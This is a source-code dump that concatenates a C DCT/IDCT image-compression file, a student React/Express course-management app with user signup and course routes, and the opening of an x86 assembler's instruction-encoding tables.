r2=181; /* sqrt(2) << 7*/ int x0,x1,x2,x3,x4,x5,x6,x7,x8; /* transform rows */ for (i=0; i<8; i++) { x0 = color[0][i]; x1 = color[1][i]; x2 = color[2][i]; x3 = color[3][i]; x4 = color[4][i]; x5 = color[5][i]; x6 = color[6][i]; x7 = color[7][i]; /* Stage 1 */ x8=x7+x0; x0-=x7; x7=x1+x6; x1-=x6; x6=x2+x5; x2-=x5; x5=x3+x4; x3-=x4; /* Stage 2 */ x4=x8+x5; x8-=x5; x5=x7+x6; x7-=x6; x6=c1*(x1+x2); x2=(-s1-c1)*x2+x6; x1=(s1-c1)*x1+x6; x6=c3*(x0+x3); x3=(-s3-c3)*x3+x6; x0=(s3-c3)*x0+x6; /* Stage 3 */ x6=x4+x5; x4-=x5; x5=r2c6*(x7+x8); x7=(-r2s6-r2c6)*x7+x5; x8=(r2s6-r2c6)*x8+x5; x5=x0+x2; x0-=x2; x2=x3+x1; x3-=x1; /* Stage 4 and output */ rows[i][0]=x6; rows[i][4]=x4; rows[i][2]=x8>>10; rows[i][6]=x7>>10; rows[i][7]=(x2-x5)>>10; rows[i][1]=(x2+x5)>>10; rows[i][3]=(x3*r2)>>17; rows[i][5]=(x0*r2)>>17; } /* transform columns */ for (i=0; i<8; i++) { x0 = rows[0][i]; x1 = rows[1][i]; x2 = rows[2][i]; x3 = rows[3][i]; x4 = rows[4][i]; x5 = rows[5][i]; x6 = rows[6][i]; x7 = rows[7][i]; /* Stage 1 */ x8=x7+x0; x0-=x7; x7=x1+x6; x1-=x6; x6=x2+x5; x2-=x5; x5=x3+x4; x3-=x4; /* Stage 2 */ x4=x8+x5; x8-=x5; x5=x7+x6; x7-=x6; x6=c1*(x1+x2); x2=(-s1-c1)*x2+x6; x1=(s1-c1)*x1+x6; x6=c3*(x0+x3); x3=(-s3-c3)*x3+x6; x0=(s3-c3)*x0+x6; /* Stage 3 */ x6=x4+x5; x4-=x5; x5=r2c6*(x7+x8); x7=(-r2s6-r2c6)*x7+x5; x8=(r2s6-r2c6)*x8+x5; x5=x0+x2; x0-=x2; x2=x3+x1; x3-=x1; /* Stage 4 and output */ data[0][i]=(double)((x6+16)>>3); data[4][i]=(double)((x4+16)>>3); data[2][i]=(double)((x8+16384)>>13); data[6][i]=(double)((x7+16384)>>13); data[7][i]=(double)((x2-x5+16384)>>13); data[1][i]=(double)((x2+x5+16384)>>13); data[3][i]=(double)(((x3>>8)*r2+8192)>>12); data[5][i]=(double)(((x0>>8)*r2+8192)>>12); } } #define COEFFS(Cu,Cv,u,v) { \ if (u == 0) Cu = 1.0 / sqrt(2.0); else Cu = 1.0; \ if (v == 0) Cv = 1.0 / sqrt(2.0); else Cv = 1.0; \ } void idct(int colors[8][8], const double data[8][8]) { int u,v,x,y; /* iDCT */ for (y=0; y<8; y++) { for (x=0; x<8; x++) { double z = 0.0; for (v=0; v<8; v++) for (u=0; u<8; u++) { double S, q; double Cu, Cv; COEFFS(Cu,Cv,u,v); S = data[v][u]; q = Cu * Cv * S * cos((double)(2*x+1) * (double)u * PI/16.0) * cos((double)(2*y+1) * (double)v * PI/16.0); z += q; } z /= 4.0; if (z > 255.0) z = 255.0; if (z < 0) z = 0.0; colors[x][y] = (unsigned char) z; } } } <file_sep>/C-sources/ImageCompression/ImageCompression/DCT.h // // DCT.h // ImageCompression // // Created by <NAME> on 3/20/13. // // #ifndef ImageCompression_DCT_h #define ImageCompression_DCT_h void dct(double data[8][8], const int color[8][8]); void idct(int colors[8][8], const double data[8][8]); #endif
db2a4577eefde22a551aa8cab80be7c41c67414f
[ "Markdown", "C" ]
4
Markdown
AndreyMoskvin/ImageCompession
89e600f4ac14f8bd77be47bc26c9160bfa69af81
ceb4d262f2cf3723efd86d459178f83c81282e69
refs/heads/master
<repo_name>kevnm24/Project-11<file_sep>/client/src/components/Header.js import React, { Component } from 'react'; import {Consumer} from './Context'; import {Link} from 'react-router-dom' // header that either shows sign-in/sign-up links if not a currentUser, else it shows a welcome message // and an option to sign out. Made the Ccourses text a link to go back to /courses. class Header extends Component { render(){ return ( <Consumer> {context =>{ if (!context.currentUser){ return ( <div className="header"> <div className="bounds"> <Link to={"/Courses"}><h1 className="header--logo" >Courses</h1></Link> <nav> <Link className="signup" to={"/Sign-Up"}>Sign Up</Link> <Link className="signin" id="signin" to={"/Sign-In"}>Sign In</Link> </nav> </div> </div> ) } else { return( <div className="header"> <div className="bounds"> <Link to={"/Courses"}><h1 className="header--logo">Courses</h1></Link> <nav> <span> Welcome {context.user.firstName} {context.user.lastName} </span> <Link className="signout" to={"/Sign-Out"}>Sign Out</Link> </nav> </div> </div> ); } }} </Consumer> ) } } export default Header; <file_sep>/api/Routes/users.js 'use strict' const express = require('express') const router = express.Router() const auth = require('basic-auth') const bcrypt = require('bcrypt') const User = require('../models/schemas').User // a function to validate emails, regex gotten from project resources. function emailVali (email) { const check = /^(([^<>()[\]\\.,;:\s@']+(\.[^<>()[\]\\.,;:\s@']+)*)|('.+'))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/ return check.test(email) } // POST /api/users 201 - Creates a user, sets the Location header to '/', and returns no content // first test to see if the req body has a valid email, if not error. // next find if there's already that email in the database, if not it's valid to make a new userRoutes // then validate the user input, schema has validators built in, if again valid it'll save to db. // then returns to header with a 201 status. //for project 10, had to move userInfo out of the emailVali if function so I could get // all of the error messages to appear at the same time. router.post('/', function (req, res, next) { let userInfo = new User(req.body) userInfo.validate(function (err, req, res) { if (err && err.name === 'ValidationError') { err.status = 400 err.message = err.errors return next(err) } }) User.find({ emailAddress: req.body.emailAddress }, function (err, users) { if (users.length !== 0) { const error = new Error('Email already in use') error.status = 400 next(error) } else if (!emailVali(req.body.emailAddress)) { const error = new Error('InvalidEmail') error.status = 400 next(error) } else { userInfo.save(function (err, user) { if (err) { return next() } else { res.location('/') res.sendStatus(201) } }) } }) }) // the beastly code used to validate users, it sets the current user from the request // it searches for an email in the database, then hashes and compares the password provided against // the stored hashed password. router.use((req, res, next) => { let currentUser = auth(req) if (currentUser) { User.findOne({ emailAddress: currentUser.name }) .exec(function (err, user) { if (user) { bcrypt.compare(currentUser.pass, user.password, function (err, res) { if (res) { req.user = user next() } else { const error = new Error('InvalidPassword') error.status = 401 next(error) } }) } else { const error = new Error('InvalidUser') error.status = 401 next(error) } }) } else { const error = new Error('Login') error.status = 401 next(error) } }) router.get('/', function (req, res, next) { User.find({}) .exec(function (err, user) { if (err) { console.log('oh no') next(err) } else { res.json(req.user) } }) }) module.exports = router <file_sep>/client/src/components/Sign-Out.js import {withRouter} from 'react-router-dom' // user clicks signout on header, goes to this, which uses props.signout from app.js, pushes user back to Courses // return null, as there's nothing to return. const SignOut = (props) => { props.signOut() props.history.push("/") return null } export default withRouter(SignOut) <file_sep>/api/Routes/courses.js 'use strict' const express = require('express') const router = express.Router() const auth = require('basic-auth') const bcrypt = require('bcrypt') const Course = require('../models/schemas').Course const User = require('../models/schemas').User router.param('cID', function (req, res, next, id) { Course.findById(id, function (err, doc) { if (err) { return next(err) } if (!doc) { const err = new Error('Not Found') err.status = 404 return next(err) } req.course = doc return next() }) }) // GET /api/courses 200 - Returns a list of courses (including the user that owns each course) // made it show a title, description and the creator. router.get('/', function (req, res, next) { Course.find({}) .populate('user', 'firstName lastName') .select({ 'title': 1, 'description': 1 }) .exec(function (err, course) { if (err) { return next(err) } else { res.status(200) res.json(course) } }) }) // GET /api/courses/:id 200 - Returns the course (including the user that owns the course) for the provided course ID router.get('/:cID', function (req, res, next) { Course.findById(req.params.cID) .populate('user', 'firstName lastName') .exec(function (err, course) { if (err) { return next(err) } else { res.json(course) } }) }) // a user authenticator for when someone is adding/modifying/deleting a course // looks for email that's provided by the user, then compares the password given to the one // stored for that email. errors created for wrong password or wrong user. router.use((req, res, next) => { let currentUser = auth(req) if (currentUser) { User.findOne({ emailAddress: currentUser.name }) .exec(function (err, user) { if (user) { bcrypt.compare(currentUser.pass, user.password, function (err, res) { if (res) { req.user = user next() } else { const error = new Error('Invalid Password') error.status = 401 next(error) } }) } else { const error = new Error('Invalid login email') error.status = 401 next(error) } }) } else { const error = new Error('Not authorized user') error.status = 401 next(error) } // POST /api/courses 201 - Creates a course, sets the Location header to the URI for the course, and returns no content // ...req.body so I can add the user to the info without it being an array inside the object array // validate that all the required infomation is passed in by the user // then save the course and return to '/' with a 201 status. // validation error if not complete info, and login error for creating courses. router.post('/', (req, res, next) => { if (req.user) { const newCourse = new Course({ ...req.body, user: req.user._id }) newCourse.validate(function (err, req, res) { if (err && err.name === 'ValidationError') { err.status = 400 if (err.errors.title) { err.message = err.errors } else if (err.errors.description) { err.message = err.errors } return next(err) } }) newCourse.save(function (err, newCourse) { if (err) return next(err) res.locals.id = newCourse._id res.location(`/${newCourse._id}`) res.status(201).send({ id: newCourse._id }) }) } else { const error = new Error('Login to create new courses') error.status = 400 next(error) } }) // PUT /api/courses/:id 204 - Updates a course and returns no content router.put('/:cID', function (req, res, next) { if (req.course.user.toString() === req.user._id.toString()) { req.course.updateOne(req.body, { upsert: true, runValidators: true }, function (err, result) { if (err && err.name === 'ValidationError') { err.status = 400 if (err.errors.title) { err.message = err.errors } else if (err.errors.description) { err.message = err.errors } err.message = err.errors return next(err) } else if (err) { return next(err) } else { console.log('you changed it!') res.sendStatus(204) } }) } else { const error = new Error('Only course creater may make changes') error.status = 403 next(error) } }) // DELETE /api/courses/:id 204 - Deletes a course and returns no content router.delete('/:cID', function (req, res, next) { if (req.course.user.toString() === req.user._id.toString()) { req.course.remove() console.log('Course has been removed.') return res.sendStatus(204) } else { const error = new Error('Only course creater may delete course') error.status = 400 next(error) } }) }) module.exports = router <file_sep>/client/src/components/PrivateRoute2.js import React from 'react'; import { Route, Redirect } from 'react-router-dom'; import {Consumer} from './Context'; // private route made for when someone tries to edit a course they aren't the creator of // prepend this to the edit route in app.js const PrivateRoute2 = ({component: Component, ...rest}) => { return ( <Consumer> {context => { return ( <Route {...rest} render = {(props) => context.currentUser ? ( <Component {...props} {...rest} /> ) : ( <Redirect to="/Forbidden"/> )}/> ) }} </Consumer> ) } export default PrivateRoute2 <file_sep>/client/src/components/Sign-Up.js import React, { Component } from 'react'; import {Link} from 'react-router-dom' import { withRouter } from 'react-router-dom' import axios from 'axios' import Validation from './Validation' // set the initial states of signUP to empty strings. class SignUp extends Component { constructor () { super() this.state = { firstName:"", lastName:"", user:"", password:"", confirmPass:"", validation: "", error:"", } } //function used to signup the user, takes in the info the user provides and creates a new entry in the db for users // uses the props to login the user once the account is created. // any errors and the message of those errors are passed on to validation.js signUp = (firstName, lastName, user, password) => { axios.post('http://localhost:5000/api/users', { firstName: firstName, lastName: lastName, emailAddress: user, password: <PASSWORD> }) .then(response => { if (response.status === 201){ this.setState({ validation: false, error:"" }) this.props.logIn(user, password) } }) .then (response => { this.props.history.goBack() }) .catch (error => { if (error.response.status === 400) { if (error.response.data.message !== "") { this.setState({ error: error.response.data.message }) } } }) } // set up some small functions to set state of these items, used later when submitting the form. Also a password confirm // to make sure the user put in the same password twice. First = e => { this.setState({ firstName: e.target.value }) } Last = e => { this.setState({ lastName: e.target.value }) } User = e => { this.setState({ user: e.target.value }) } Pass = e => { this.setState({ password: e.target.value }) } PassConfirm = e => { this.setState({ confirmPass: e.target.value }) if (e.target.value !== this.state.password){ e.target.style.border ='2px red solid' this.setState({ validation: true, error: "Password Confirm" }) } else { e.target.style.border = '2px #ccc4d8 solid' this.setState({ validation: false, error: "" }) } } handleSubmit = e => { e.preventDefault() if (this.state.password === this.state.confirmPass) { this.signUp(this.state.firstName, this.state.lastName, this.state.user, this.state.password) } } // where validation.js gets the props to use to validate the info provided, and display error messages for the user based // on those errors. render() { let thisValid if (this.state.error !== ""){ thisValid = <Validation error={this.state.error} /> } return ( <div className="bounds"> { thisValid } <div className="grid-33 centered signin"> <h1>Sign Up</h1> <div> <form onSubmit={this.handleSubmit}> <div> <input id="firstName" name="firstName" type="text" className="" placeholder="First Name" onBlur={this.First} /> </div> <div> <input id="lastName" name="lastName" type="text" className="" placeholder="Last Name" onBlur={this.Last} /> </div> <div> <input id="emailAddress" name="emailAddress" type="text" className="" placeholder="Email Address" onBlur={this.User} /> </div> <div> <input id="password" name="password" type="<PASSWORD>" className="" placeholder="Password" onBlur={this.Pass} /> </div> <div id="confirmPasswordDiv"> <input id="confirmPassword" name="confirmPassword" type="<PASSWORD>" className="" placeholder="Confirm Password" onBlur={this.PassConfirm} /> </div> <div className="grid-100 pad-bottom" ><button className="button" type="submit">Sign Up</button><Link to="/"><button className="button button-secondary">Cancel</button></Link></div> </form> </div> <p>&nbsp;</p> <p>Already have a user account? <Link to="/userSignIn">Click here</Link> to sign in!</p> </div> </div> ); } } //withRouter needed when using props.history.push/goBack export default withRouter(SignUp) <file_sep>/api/README.md # Project-09 <file_sep>/client/README.md To run this project: Make sure to have all neccasary programs installed; mongoDB, npm. Open three command prompts, direct two of the prompts to the api folder and the third prompt to the client folder. run NPM install on one api prompt and the client folder. after all required installs are finished, run mongod on one of the api prompts, wait for it to load then run npm start on the second api prompt. lastly run npm start on the client prompt. I couldn't get the user to remain logged in after a browser refresh. And I couldn't figure out how to cut down from three command prompts. This project was bootstrapped with [Create React App](https://github.com/facebook/create-react-app). ## Available Scripts In the project directory, you can run: ### `npm start` Runs the app in the development mode.<br> Open [http://localhost:3000](http://localhost:3000) to view it in the browser. The page will reload if you make edits.<br> You will also see any lint errors in the console. ### `npm test` Launches the test runner in the interactive watch mode.<br> See the section about [running tests](https://facebook.github.io/create-react-app/docs/running-tests) for more information. ### `npm run build` Builds the app for production to the `build` folder.<br> It correctly bundles React in production mode and optimizes the build for the best performance. The build is minified and the filenames include the hashes.<br> Your app is ready to be deployed! See the section about [deployment](https://facebook.github.io/create-react-app/docs/deployment) for more information. ### `npm run eject` **Note: this is a one-way operation. Once you `eject`, you can’t go back!** If you aren’t satisfied with the build tool and configuration choices, you can `eject` at any time. This command will remove the single build dependency from your project. Instead, it will copy all the configuration files and the transitive dependencies (Webpack, Babel, ESLint, etc) right into your project so you have full control over them. All of the commands except `eject` will still work, but they will point to the copied scripts so you can tweak them. At this point you’re on your own. You don’t have to ever use `eject`. The curated feature set is suitable for small and middle deployments, and you shouldn’t feel obligated to use this feature. However we understand that this tool wouldn’t be useful if you couldn’t customize it when you are ready for it. ## Learn More You can learn more in the [Create React App documentation](https://facebook.github.io/create-react-app/docs/getting-started). To learn React, check out the [React documentation](https://reactjs.org/). <file_sep>/client/src/components/PrivateRoute.js import React from 'react'; import { Route, Redirect } from 'react-router-dom'; import {Consumer} from './Context'; //the first private route, made to send users to login when trying to create a course while not logged in. const PrivateRoute = ({component: Component, ...rest}) => { return ( <Consumer> {context => { return ( <Route {...rest} render = {(props) => context.currentUser ? ( <Component {...props} {...rest} /> ) : ( <Redirect to="/Sign-In"/> )}/> ) }} </Consumer> ) } export default PrivateRoute <file_sep>/client/src/components/Courses.js import React, {Component} from 'react'; import CourseLister from './CourseLister' import axios from 'axios' import {NavLink, withRouter} from 'react-router-dom'; class Courses extends Component { constructor() { super(); this.state = { courses: [] } } // when the components mount, get the courses from the mongodb, then display them using the CourseLister component. // this gets all the courses, takes the response data from that and pushes that over to courselister.js, which then handles how it displays on here. componentDidMount(){ axios.get('http://localhost:5000/api/courses') .then (response => { this.setState({ courses: response.data }) }) .catch(error => { return this.props.history.push("/Error") }) } render(){ let courses = this.state.courses let coursee; if (courses.length > 0){ coursee = courses.map(course => <CourseLister title={course.title} key={course._id} id={course._id}/>) } return ( <div className="bounds"> { coursee } <div className="grid-33"><NavLink className="course--module course--add--module" to="/Courses/Create"> <h3 className="course--add--title"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" x="0px" y="0px" viewBox="0 0 13 13" className="add"> <polygon points="7,6 7,0 6,0 6,6 0,6 0,7 6,7 6,13 7,13 7,7 13,7 13,6 "></polygon> </svg>New Course</h3> </NavLink> </div> </div> ) } } export default withRouter(Courses); <file_sep>/client/src/components/Update-Course.js import React, {Component} from 'react'; import {Redirect} from 'react-router-dom' import Validation from './Validation' import axios from 'axios' class UpdateCourses extends Component { constructor(){ super() this.state = { description:'', estimatedTime:'', id:'', materialsNeeded:'', redirect: false, title:'', user:'', userId:'', } } // after a user clicks on a course from the main directory, the app will then load a courses // using the props match params in the route provided by app.js to grab a course from the db // it then sets the state of course items. and if it's not the course creator, pushes them to /Forbidden. componentDidMount(){ axios.get(`http://localhost:5000/api/courses/${this.props.match.params.id}`) .then (response => { this.setState({ description: response.data.description, estimatedTime: response.data.estimatedTime, id: response.data._id, materialsNeeded: response.data.materialsNeeded, title: response.data.title, user: (`${response.data.user[0].firstName} ${response.data.user[0].lastName}`), userId: response.data.user[0]._id }) if(response.data.user[0]._id !== this.props.user._id) { this.props.history.push('/Forbidden'); } }) .catch(error => { if (error.response.status === 400 ) { this.props.history.push('/Error') } if (error.response.status === 404) { this.props.history.push('/NotFound') } else { this.props.history.push('/Error') } }) } // setup for a redirect used when the cancel button is clicked. Sends user back to Courses setRedirect = () => { this.setState({ redirect: true }) } renderRedirect = () => { if (this.state.redirect) { return <Redirect to='/courses' /> } } // the function that actually updates the course using axios.put, it updates db entry of the course based on the id // using headers Authorization to authorize the put command. // then pushes the user to the course detail page. also handles a few errors, which is picked up in validation.js courseUpdater = ( descrip, mats, time, title, id) => { let speak = JSON.parse(window.sessionStorage.getItem('auth')) axios.put(`http://localhost:5000/api/courses/${id}`, { description: descrip, estimatedTime: time, materialsNeeded: mats, title: title }, { headers: { 'Authorization': speak } }) .then (response => { this.props.history.push(`/courses/${this.state.id}`) }) .catch(error => { if (error.response.status === 400) { this.setState({ validation: true, error: error.response.data.message }) } else { this.props.history.push('/Error'); } }) } // these are called when the submit button is hit, it sets the state of the // items as seen, with the value of the text in the inputs/textareas. Desc = e => { this.setState({ description: e.target.value }) } Mats = e => { this.setState({ materialsNeeded: e.target.value }) } Time = e => { this.setState({ estimatedTime: e.target.value }) } Title = e => { this.setState({ title: e.target.value }) } handleSubmit = e => { e.preventDefault(); this.courseUpdater(this.state.description, this.state.materialsNeeded, this.state.estimatedTime, this.state.title, this.state.id); } // this is how validation.js is given the errors to handle, just after the render. The html in the return statement is rendered when the page // loads, had to use onChange here because it set a value, onBlur has no value until blurred, so nothing was being filled in when this loaded with onBlur in the html. render(){ let thisValid if (this.state.validation){ thisValid = <Validation error={this.state.error} /> } return( <div className="bounds"> {thisValid} <div className="bounds course--detail"> <h1>Update Course</h1> <div> <form onSubmit={this.handleSubmit}> <div className="grid-66"> <div className="course--header"> <h4 className="course--label">Course</h4> <div> <input id="title" name="title" type="text" className="input-title course--title--input" placeholder="Course Name" onChange={this.Title} value={this.state.title}/> </div> <p>By {this.state.user}</p> </div> <div className="course--description"> <div><textarea id="description" name="description" className="" placeholder="Course description..." onChange={this.Desc} value={this.state.description}> </textarea> </div> </div> </div> <div className="grid-25 grid-right"> <div className="course--stats"> <ul className="course--stats--list"> <li className="course--stats--list--item"> <h4>Estimated Time</h4> <div> <input id="estimatedTime" name="estimatedTime" type="text" className="course--time--input" placeholder="Time" onChange={this.Time} value={this.state.estimatedTime}/> </div> </li> <li className="course--stats--list--item"> <h4>Materials Needed</h4> <div> <textarea id="materialsNeeded" name="materialsNeeded" className="" placeholder="List materials..." onChange={this.Mats} value={this.state.materialsNeeded}> </textarea> </div> </li> </ul> </div> </div> <div className="grid-100 pad-bottom">{this.renderRedirect()}<button className="button" type="submit">Update Course</button><button className="button button-secondary" onClick={this.setRedirect}>Cancel</button></div> </form> </div> </div> </div> ) } } export default UpdateCourses; <file_sep>/client/src/components/Validation.js import React from 'react'; // this is where error messages are handled for signin, singup, and course components // props are passed into this, it then checks what the error message says, and passes back // an appropriate message for the user to see. const Validation = (props) => { console.log(props, "haha") let err = props.error console.log(err,"cama") let errB = Object.keys(err) let burrito = [] console.log(errB, "milk") if (err === "InvalidEmail") { burrito.push(<li key={err}>Please enter a valid Email</li>) errB= [] } else if (err === "Email already in use") { burrito.push(<li key={err}>That Email is already in use</li>) errB= [] } else if (err === "Password Confirm") { burrito.push(<li key={err}>Please Confirm Password </li>) errB= [] } if (errB.length > 0 ){ console.log("mellow") for (let i = 0; i < errB.length; i++){ burrito.push(<li key={errB[i]}>Please check "{errB[i]}" field</li>) } } else if (errB.includes("title"||"description")) { for (let i = 0; i< errB.length; i++){ burrito.push(<li key={errB[i]}>Please check "{errB[i]}" field</li>) } } return ( <div> <h2 className="validation--errors--label">Validation errors</h2> <div className="validation-errors"> <ul> {burrito} </ul> </div> </div> ) } export default Validation
934909e9348e3c44bfe726d8884b88451d944347
[ "JavaScript", "Markdown" ]
12
JavaScript
kevnm24/Project-11
edff480f78ffad79639213ca67528f48d63e899a
a883108be98f4ce3a4c9369de67fa118d239bc84
refs/heads/master
<file_sep>// Copyright 2010 Google Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // ------------------------------------------------------------------------ #include "engine/globals.h" #include "public/commandlineflags.h" #include "public/logging.h" #include "engine/memory.h" #include "engine/utils.h" #include "engine/code.h" #include "engine/scope.h" #include "engine/type.h" #include "engine/assembler.h" // from codegen.cc: DECLARE_bool(eliminate_dead_code); namespace sawzall { // ---------------------------------------------------------------------------- // Implementation of Assembler // Emit 32-bit or 64-bit code #if defined(__i386__) const bool kEmit64 = false; static inline int high32(sword_t word) { ShouldNotReachHere(); return 0; } #elif defined(__x86_64__) const bool kEmit64 = true; static inline int high32(sword_t word) { return word >> 32; } #else #error "Unrecognized target machine" #endif // Maps register addressing mode to register encoding static const int8 reg_encoding[AM_R15 + 1] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, }; // Maps register addressing mode to register encoding shifted left three bits static const int8 reg3_encoding[AM_R15 + 1] = { 0x00, 0x08, 0x10, 0x18, 0x20, 0x28, 0x30, 0x38, 0x00, 0x08, 0x10, 0x18, 0x20, 0x28, 0x30, 0x38, }; // Addressing mode encoding table containing part of the ModR/M byte // bits: mod:2 reg:3 r/m:3, reg is not encoded by this table // 0xFF means illegal addressing mode // see Intel Vol. 2A, 2.2.1.2, p 2-13 // see AMD Vol. 3, 1.2.7, p 19 static const int8 mod_rm[AM_LAST + 1] = { // EAX ECX EDX EBX ESP EBP ESI EDI // R8 R9 R10 R11 R12 R13 R14 R15 0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7, // EAX..EDI 0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7, // R8..R15 0x00, 0x01, 0x02, 0x03, 0x04, 0xFF, 0x06, 0x07, // INDIR: [EAX..EDI] 0x00, 0x01, 0x02, 0x03, 0x04, 0xFF, 0x06, 0x07, // INDIR: [R8..R15] 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, // BASED: [EAX..EDI + disp] 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, // BASED: [R8..R15 + disp] 0x04, 0x04, 0x04, 0x04, 0xFF, 0x04, 0x04, 0x04, // INXD: [EAX..EDI*2^scale + disp] 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, // INXD: [R8..R15*2^scale + disp] 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, // BINXD: [EAX..EDI + EAX*2^scale + disp] 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, // BINXD: [R8..R15 + EAX*2^scale + disp] 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, // BINXD: [EAX..EDI + ECX*2^scale + disp] 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, // BINXD: [R8..R15 + ECX*2^scale + disp] 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, // BINXD: [EAX..EDI + EDX*2^scale + disp] 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, // BINXD: [R8..R15 + EDX*2^scale + disp] 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, // BINXD: [EAX..EDI + EBX*2^scale + disp] 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, // BINXD: [R8..R15 + EBX*2^scale + disp] 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // BINXD: [EAX..EDI + ESP*2^scale + disp] 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // BINXD: [R8..R15 + ESP*2^scale + disp] 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, // BINXD: [EAX..EDI + EBP*2^scale + disp] 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, // BINXD: [R8..R15 + EBP*2^scale + disp] 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, // BINXD: [EAX..EDI + ESI*2^scale + disp] 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, // BINXD: [R8..R15 + ESI*2^scale + disp] 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, // BINXD: [EAX..EDI + EDI*2^scale + disp] 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, // BINXD: [R8..R15 + EDI*2^scale + disp] 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, // BINXD: [EAX..EDI + R8*2^scale + disp] 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, // BINXD: [R8..R15 + R8*2^scale + disp] 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, // BINXD: [EAX..EDI + R9*2^scale + disp] 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, // BINXD: [R8..R15 + R9*2^scale + disp] 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, // BINXD: [EAX..EDI + R10*2^scale + disp] 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, // BINXD: [R8..R15 + R10*2^scale + disp] 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, // BINXD: [EAX..EDI + R11*2^scale + disp] 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, // BINXD: [R8..R15 + R11*2^scale + disp] 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, // BINXD: [EAX..EDI + R12*2^scale + disp] 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, // BINXD: [R8..R15 + R12*2^scale + disp] 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, // BINXD: [EAX..EDI + R13*2^scale + disp] 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, // BINXD: [R8..R15 + R13*2^scale + disp] 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, // BINXD: [EAX..EDI + R14*2^scale + disp] 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, // BINXD: [R8..R15 + R14*2^scale + disp] 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, // BINXD: [EAX..EDI + R15*2^scale + disp] 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, // BINXD: [R8..R15 + R15*2^scale + disp] 0xFF, 0xFF, 0xFF, 0xFF // ABS, IMM, FST, CC }; // Addressing mode encoding table containing the low 6 bits of the SIB byte // bits: (scale:2) index:3 base:3 // 0x80 means no SIB byte // 0xFF means illegal addressing mode static const int8 sib[AM_LAST + 1] = { // EAX ECX EDX EBX ESP EBP ESI EDI // R8 R9 R10 R11 R12 R13 R14 R15 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // EAX..EDI 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // R8..R15 0x80, 0x80, 0x80, 0x80, 0x24, 0xFF, 0x80, 0x80, // INDIR: [EAX..EDI] 0x80, 0x80, 0x80, 0x80, 0x24, 0xFF, 0x80, 0x80, // INDIR: [R8..R15] 0x80, 0x80, 0x80, 0x80, 0x24, 0x80, 0x80, 0x80, // BASED: [EAX..EDI + disp] 0x80, 0x80, 0x80, 0x80, 0x24, 0x80, 0x80, 0x80, // BASED: [R8..R15 + disp] 0x05, 0x0D, 0x15, 0x1D, 0xFF, 0x2D, 0x35, 0x3D, // INXD: [EAX..EDI*2^scale + disp] 0x05, 0x0D, 0x15, 0x1D, 0x25, 0x2D, 0x35, 0x3D, // INXD: [R8..R15*2^scale + disp] 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, // BINXD: [EAX..EDI + EAX*2^scale + disp] 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, // BINXD: [R8..R15 + EAX*2^scale + disp] 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, // BINXD: [EAX..EDI + ECX*2^scale + disp] 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, // BINXD: [R8..R15 